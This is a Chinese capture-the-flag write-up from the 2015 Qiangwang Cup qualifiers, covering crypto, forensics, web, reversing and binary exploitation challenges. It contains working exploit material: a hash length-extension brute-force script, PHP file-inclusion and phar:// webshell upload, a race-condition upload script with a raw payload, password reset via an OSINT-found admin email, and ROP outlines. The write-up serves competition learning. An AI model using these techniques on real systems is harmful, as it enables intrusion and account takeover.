2015 强网杯初赛 writeup

0×00 强网杯解题报告
Team:Syclover
前两周的比赛,做完之后因为有考试什么的所以就一直也没放上来,现在更新一下,这个比赛的其他writeup在bobao360也有。
多更新更新博客,能和好多人交流,hoho~

0×01 密码
old-fashion 100

Os drnuzearyuwn, y jtkjzoztzoes douwlr oj y ilzwex eq lsdexosa kn pwodw tsozj eq ufyoszlbz yrl rlufydlx pozw douwlrzlbz, ydderxosa ze y rlatfyr jnjzli; mjy gfbmw vla xy wbfnsy symmyew (mjy vrwm qrvvrf), hlbew rd symmyew, mebhsymw rd symmyew, vbomgeyw rd mjy lxrzy, lfk wr dremj. Mjy eyqybzye kyqbhjyew mjy myom xa hyedrevbfn lf bfzyewy wgxwmbmgmbrf. Wr mjy dsln bw f1_2jyf-k3_jg1-vb-vl_l

提示是古典密码,其实这里分成了两句了,以;分隔
http://www.quipqiup.com/index.php
这个网站可以解,分成两段解

In cryptography, a substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a regular system; the units may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing an inverse substitution. So the flag is n1_2hen-d3_hu1-mi-ma_a

Flag就是n1_2hen-d3_hu1-mi-ma_a

salt 300
读脚本发现url的参数是用字典类型存储的,key相同的参数会被后面的覆盖掉。
于是构造/login?username=admin&password=1&password=123456即可通过第二种验证方式。
但是第二种方式还需要url的mac,而服务器给出的mac会有7位被替换成x,无法直接得到mac。
google后发现此题符合长度扩展攻击的条件,于是枚举mac中的7个x,通过hashpumpy库计算出扩展的mac,和服务器给出的mac对比,即可爆破出正确的mac。
最后需要碰碰运气,当遇到服务器给出第二种验证方式时,发送url和爆出的mac即可得到flag。

#!/usr/bin/python
import socket
import subprocess
import sys
from hashpumpy import hashpump

s = socket.socket()
#s.connect(("127.0.0.1",4444))
s.connect(("119.254.101.197",10004))
s.recv(1024) #welcome info

def gethash(u,p):
    s.recv(1024)  #create count?
    s.send("Y\n")
    s.recv(1024)  #input user:
    s.send(u+"\n")
    s.recv(1024)  #input pass:
    s.send(p+"\n")
    return s.recv(1024) 

index = 0L
def keepalive():
    global index
    print "keepalive:",gethash("123",str(index))
    index += 1

 
#h1  = "194ce5d0b89c47ff6b30bfb491f9dc26"   
h1 = gethash("1","1")[:-1]
l1 = list(h1)
h2 = gethash("1","1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin")[:-1]

def ver():
    global h2
    hashstr = ''.join([i for i in l1])
    ret = hashpump(hashstr,\
    '/login?username=1&password=1',\
    '&password=123456&username=admin',\
    16)
    #ret = ("a"*40,213)  
    sig = ret[0]
    for i in range(40):
        if h2[i] == 'x':continue
        if h2[i] != sig[i]:return False
    print "--------------------"
    print "sig:",sig
    return sig

xnum = 7
progress = 0
def dfs(depth):
    if depth == xnum: 
        global progress
        progress += 1
        if progress & 0x7ffff ==0:
            print progress
            keepalive()
        sig = ver()
        #sig = False
        if sig!=False:
            print s.recv(1024)#create account?
            s.send("n\n")
            ques = s.recv(1024)#input url:
            if ques.find('1')!=-1:
                print "bad luck"
                sys.exit()
            s.send("/login?username=1&password=1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01`&password=123456&username=admin")
            print s.recv(1024)#input sig:
            s.send(sig)
            print s.recv(1024)#flag
            sys.exit()
        else:
            return 
    pos = l1.index('x')
    for i in range(16):
        l1[pos] = format(i,'x')
        dfs(depth+1)
        l1[pos] = 'x'

def main():
    dfs(0)
    print 'fail :( '

if __name__=="__main__":
    main()

0×02 取证与隐写
repartition 200

http://pan.baidu.com/s/1mgKfnDY 提取码: nshy 下下来
file命令 看disk.img这个镜像

disk.img: x86 boot sector; partition 1: ID=0x7, starthead 32, startsector 2048, 276480 sectors; partition 2: ID=0x7, starthead 86, startsector 278528, 337920 sectors, code offset 0x0

我们尝试恢复他丢失的文件,使用的是Eassos PartitionGuru Professional
Disk——open virtual disk——选择我们的img文件 把文件映射成虚拟磁盘
Tools——recover lost file 恢复丢失的文件

在pass这个文件夹发现了有两个文件,尝试提取出来

发现了secret.rar正是那个描述的加密压缩的rar文件
看看secretepass.txt,发现是一些没有意义的字符

看题目的描述就是被大文件覆盖了,我们来winhex来看看这个img
在文件里搜一下Flag.txt 可以找到rar的块
到$MFT里去找找,这里会有分区中的所有文件的记录

往前往后翻翻,就可以发现secretepass.txt的块

http://blog.csdn.net/a00553344/article/details/5039884
这篇文章中有$mft的说明,按着他来就行了

发现了这个,梅花香自苦寒来 是段有意义的
尝试一下,发现正是密码

flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}

broken 300

http://match.erangelab.com/dl/broken.img.26c6f34421861784fd0c53f4ce708d99
下载下来是个img的
用linux的file命令看一下,是一个x86 boot sector, mkdosfs boot message display
发现是一个系统,尝试用vm来加载它


启动后发现是这样子的
然后我们使用badcopy来修复一下

发现了有FLAG这个文件,尝试提取出来
Winhex打开可以发现,前8byte都被修改成了00

但是IHDR是PNG格式图片的一个块,可以判断这就是一个png图片,把前8byte先修复了
89504E470D0A1A0A

再看到结尾,发现也没有IEND这个块,也修复了

49454E44AE426082
倒数8byte


图片的IDAT块只有一块,计算一下IDAT的长度可以知道是刚刚好的到IEND的。并没有插入其他的数据在文件结尾。
打开图片看看

发现是这样子的,并没有其他的东西了,可以去看各个颜色通道,也并没有发现什么类似与lsb的东西。
其实秘密藏在了IDAT块之中啊。写了一个python脚本,用来计算IDAT块的内容。

#encoding: utf-8
import zlib
import binascii
import struct

filepath = "./FLAG"
binfile = open(filepath,'rb')
IDAT = binfile.read()[894:-16]
binfile.close()

RGB = binascii.hexlify(zlib.decompress(IDAT))
PIXEL = len(RGB) / 2 / 3   #2:ff=256  3:RGB 
print "pixel:"+str(PIXEL)

height = PIXEL / int("320", 16) #320:width hex
print "height:"+str(height)
print "height hex:"+hex(height)[2:]

height = struct.pack('>i', height)
IHDR = '\x49\x48\x44\x52\x00\x00\x03\x20'+height+'\x08\x02\x00\x00\x00'
print "IHDR:"+IHDR.encode("hex")
CRC32 = hex(binascii.crc32(IHDR) & 0xffffffff)[2:-1]
print "CRC32:"+CRC32


可以看到实际的像数点是360150

是要超过了显示的800*400=320000的
结果计算,假设是只修改了高度,那么我们可以计算出正常的高度应该是450,hex是1c2

尝试着按照IHAR来修改,修改01 90 为01 c2
按照CRC32来修改,把D9479363改为98013a9f


flag{me1_m3ng-x1an9-he_yu3n-f3a9}

这个题的坑点主要就是在于修改了高度居然连crc32的校验也改为正确的,不好发现信息隐藏的地方。

0×03 Web渗透
最好的语言 100

大家都说 PHP 是世界上最好的语言,你也这么认为吗?
服务器请访问 http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php.bak

<?php

//TODO: connect to DB 

$id = $_GET['id'];

//TODO: sqli filter

$secretId = 1024;
if($id == $secretId){
    echo 'Invalid id ('.$id.').';
}
else{
    $query = 'SELECT * FROM notes WHERE id = \''.$id.'\';';
    $result = mysql_query($query,$conn);
    $row = mysql_fetch_assoc($result);
 
    echo "notes: ".$row['notes']."</br>";
}
?>

应该是PHP和MySQL不同精度的问题,解法:
http://119.254.101.197:22230/fca269b68b1efd69dd022764cd1d3ac0/index.php?id=1024.000000000001

flag{php_is_so_awesome_ever_ever_ever###}

俳句自动打分系统
先上传文件,发现有一枚文件包含漏洞
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=[File Include]
读取index.php
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=php://filter/read=convert.base64-encode/resource=index

<?php
$p = $_REQUEST['page'];

if($p == "")
{
$p = "main";
}

$haq = "别搞我呀,好好写俳句。我认真的。";

if(strstr($p,"..") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"tp") !== FALSE)
die("<pre>$haq</pre>");

if(stristr($p,"ip") !== FALSE)
die("<pre>$haq</pre>");

if(strlen($p) >= 60)
die("<pre>string > 60
$haq</pre>");

$inc = sprintf("%s.php",$p);
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>俳句打分</title>

    <!-- Bootstrap -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
      <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
      <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
  </head>
  <body style="background-color: #00b0c0;">
<center>
<h1>最权威的俳句打分</h1>
<br />
<br />
<br />


<?php
include($inc);
?>


</center>
    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="js/jquery.min.js"></script>
    <!-- Include all compiled plugins (below), or include individual files as needed -->
    <script src="js/bootstrap.min.js"></script>
  </body>
</html>

读取view.php

<?php
$txt = $_REQUEST['id'];

if($txt == "" || $txt == "random")
{
$txtname = "already/" . rand(1,14) . ".txt";
}

else $txtname = "upload_paiju/" . $txt . ".txt";

$f = file_get_contents($txtname);

echo '<pre>' . $f . '</pre>';

echo '<pre>我的打分是: ' . (int)md5($f)%100 . '</pre>';

?>

读取upload.php

<?php

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}

$target_dir = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 0;
$imageFileType = pathinfo($target_file,PATHINFO_EXTENSION);
$fsize = $_FILES['fileToUpload']['size'];
$newid = RandomString();
$newname = $newid . ".txt";

if(isset($_POST["submit"])) {
    if($imageFileType == "txt") {
        $uploadOk = 1;
    } else {
	echo "<p>ä¸æ˜¯è¯´å¥½çš„åªèƒ½ä¸Šä¼ TXT嘛</p>";
        $uploadOk = 0;
    }

    if(!($fsize >= 0 && $fsize <= 200000)) {
	$uploadOk = 0;
		echo "<p>俳句怎么可能那么大!</p>";
	}

}

if($uploadOk)
{

$newpath = "/usr/share/nginx/html/13152f79f9264731da9fa16846449d80/upload_paiju/" . $newname;

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $newpath)) {
	 echo "çœ‹çœ‹ä½ çš„ä¿³å¥èƒ½å¾—å¤šå°‘åˆ†ï¼Ÿ <a href='index.php?page=view&id=" . $newid."'>查看</a>";
    } else {
        echo "<p>å‡ºé”™å•¦ï¼Œä½ åœ¨ä¹±æžä»€ä¹ˆå‘€ï¼</p>";
    }

}


?>

可以看出,index.php的文件包含必须是.php的后缀,而我们只能传.txt后缀的文件
这里通过zip/phar/rar等伪协议可以绕过,这里我选了phar://

先通过标准Phar打包

<?php
    $p = new PharData(dirname(__FILE__).'/a.zip', 0,'phartest',Phar::ZIP);
    $p->addFromString('a.php', file_get_contents('shell.txt'));
?>

shell.txt里面是后门代码

上传上去后通过phar协议包含拿到shell
http://119.254.101.197:22231/13152f79f9264731da9fa16846449d80/index.php?page=phar://upload_paiju/lbKyq9AsnruCZ911.txt/a

读取open_basedir

open_basedir: /usr/share/nginx/html/:/tmp/:/srv/

在/srv/目录下找到FLAG文件
FLAG{wo_ceng_jing_kua_guo_shan_he_da_han,ye_chuan_guo_ren_shan_ren_hai}

Tech-Blog
是利用Flask-Blog搭建的博客,一开始猜测是要代码审计,于是就去看commit log,寻找修补漏洞的地方
我在白盒测得时候,队友已经通过黑盒测试找到了一处任意密码重置漏洞,只需要知道用户邮箱就可以重置该用户的密码,那么我们只需要知道admin的邮箱即可
经过各种对强网杯邮箱的猜测都不行,后来发现了“王宇直在找工作”这个提示
王宇直应该就是admin,他在找工作,那么应该就能通过简历找到他邮箱了,然后在国内的找工作的网站上找了找,没什么发现,转向国外的LinkedIN,找到了一个叫王宇直的,而且头像还那么二,上海交大妇产科,必定就是这个家伙了
看了下他的联系方式,找到了下面两个东东


http://straigt_wang.com


http://blog.163.com/straight_wang

用过网易博客的都知道,开通博客的格式 http://blog.163.com/[Username]
那么应该就有 straight_wang@163.com 的邮箱了
去163注册确认了下,这个邮箱是存在的
那么我们通过这个邮箱去重置密码,成功修改了admin的密码

进入后台后,查看Secret,是一个任意文件读取的地方
简单的对Linux进行信息收集,在/etc/hosts里面得到了提示

119.254.101.197 wang-yu-zhi-de-guan-li-hou-tai #port 22234

修改本地hosts,访问目标,是一个秘密后台,有一处任意文件包含漏洞,可以直接获取源码

?page=php://filter/read=convert.base64-encode/resource=main.php

通过该漏洞读取到了main.php 和 upload.php的源代码
然而不能下载 index.php 的,但是目标系统是Windows,利用 index.ph< 下载即可
审计源码,构造表单上传文件
然而上传上去后就会立即删除掉,猜测要利用时间竞争,利用脚本如下
exp.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket, re, time
import urllib2

host = "119.254.101.197"
port = 22234

def send():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))
    time.sleep(0.2)
    data = open('exp').read()
    s.send(data)
    time.sleep(0.2)
    resp = s.recv(8192)
    s.close()
     
    return resp

print send()

while True:
    resp = send()
    url = re.findall(r'uploads/(.*)<', resp)[0]
    url = "http://wang-yu-zhi-de-guan-li-hou-tai:22234/?x=c:/inetpub/&page=upload</" + url
    print url
    print urllib2.urlopen(url).read()
    time.sleep(3)

exp:

POST /index.php?page=upload.php HTTP/1.1
Host: wang-yu-zhi-de-guan-li-hou-tai:22234
User-Agent: wonderful_and_secret_brower_ever
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://wang-yu-zhi-de-guan-li-hou-tai:22234/?page=main.ph%3C
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------1470534513268
Content-Length: 903

-----------------------------1470534513268
Content-Disposition: form-data; name="fileToUpload"; filename="lala.txt"
Content-Type: text/plain

<?php 
function dir_path($path) { 
	$path = str_replace('\\', '/', $path); 
	if (substr($path, -1) != '/') $path = $path . '/'; 
	return $path; 
} 

function dir_list($path, $exts = '', $list = array()) {
	$path = dir_path($path); 
	$files = glob($path . '*');
	foreach($files as $v) {
		if (!$exts || preg_match("/\.($exts)/i", $v)) {
			$list[] = $v;
			if (is_dir($v)) { 
				$list = dir_list($v, $exts, $list); 
			}
		} 
	} 
	return $list; 
}

$r = dir_list($_GET['x']); 
printf("<pre>%s</pre>\n", var_export($r , true)); 
echo file_get_cotents("c:/inetpub/temp/Are_you_OK");
?> 
-----------------------------1470534513268
Content-Disposition: form-data; name="submit"

Upload
-----------------------------1470534513268--

通过不断的列目录,找到一个可疑的文件:C:/inetpub/temp/Are_you_OK
通过包含漏洞读取该文件,拿到Flag

0×04 逆向工程
flag-checker 100
观察后发现题目给的等式是有规律的,可以按照a0 a1…a46的顺序依次计算,每次计算都是一个一元一次方程。依次解出即可得到flag

#!/usr/bin/python
from sympy import Symbol
from sympy.solvers import solve

a = []

def main():
    for i in range(50):
        exec("a"+str(i)+"=Symbol('a"+str(i)+"')")
        a.append(Symbol("a"+str(i)))
    f = open("2.txt","r")
    i = 0
    for ln in f:
        if len(ln)<4:continue
        n = ln[:-2]
        n = n.replace("=","-(")
        n += ')'
        n = n.replace('[','')
        n = n.replace(']','')
        #print n 
        exec("eq = "+n)
        ans = solve(eq,a[i])[0]
        exec("a"+str(i)+"=ans")
        if ans>128 or ans<15:
            print chr(ans%128),
        else:
           print chr(ans%128),
        i += 1

if __name__=="__main__":
    main()

keygen 200

原始字符串改变顺序存放


在下面这个表中遍历,如果是字符的数字就是直接赋值,如果是非字符,就用v16对应下标的字符,得到一个新字符串

; char byte_6018E0[]
.data:00000000006018E0 byte_6018E0     db 2                    ; DATA XREF: sub_400B56+1BEr
.data:00000000006018E0                                         ; sub_400B56+1D8r ...
.data:00000000006018E1                 db  34h ; 4
.data:00000000006018E2                 db    5
.data:00000000006018E3                 db  33h ; 3
.data:00000000006018E4                 db    6
.data:00000000006018E5                 db  39h ; 9
.data:00000000006018E6                 db    0
.data:00000000006018E7                 db  31h ; 1
.data:00000000006018E8                 db    1
.data:00000000006018E9                 db  37h ; 7
.data:00000000006018EA                 db    3
.data:00000000006018EB                 db  32h ; 2
.data:00000000006018EC                 db    4
.data:00000000006018ED                 db  30h ; 0
.data:00000000006018EE                 db    7
.data:00000000006018EF                 db  32h ; 2

新字符串求MD5,得到的MD5字符串中每一位转换成对应ascii码10进制数字,并删除所有0

原字符串中第4、9、14、19是’-’

得到的字符串中5-12位与原字符串中15 12 18 0 6 8 5 3位比较验证,最后计算得到5234-5171-901b-5de5-hijk是一个可以通过验证的,修改最后4位可以得到9个不同的sn

0×05 溢出利用
guess 100

程序使用了scanf(“%s”,…),比较明显的栈溢出来,可以在4次比较正确后成功控制栈。输入后面可以加\x00来控制正确的比较以及构建后面的ret2read_file。

中间可以用最后一个scanf来作为传入参数的设置。参数地址固定在0x0804a100

urldecoder 200
溢出点:前面的sub_8048720输入是0xa作为结尾的,在sub_8048800的strlen()是以0×00来判断结尾的,其中可以通过%来控制处理字符串的指针。 构造一个”%\x00″ 这样来绕过for循环的判断就可以溢出栈了。
sub_8048720

sub_8048800

之后就是构造rop链了。
gadget1:用puts随意泄露一个函数的地址可以算出基地址,重新回到0x080485f0再一次控制栈.
gadget2:用gets向可写地址写入”sh”,然后返回system来拿到shell.

发表评论

*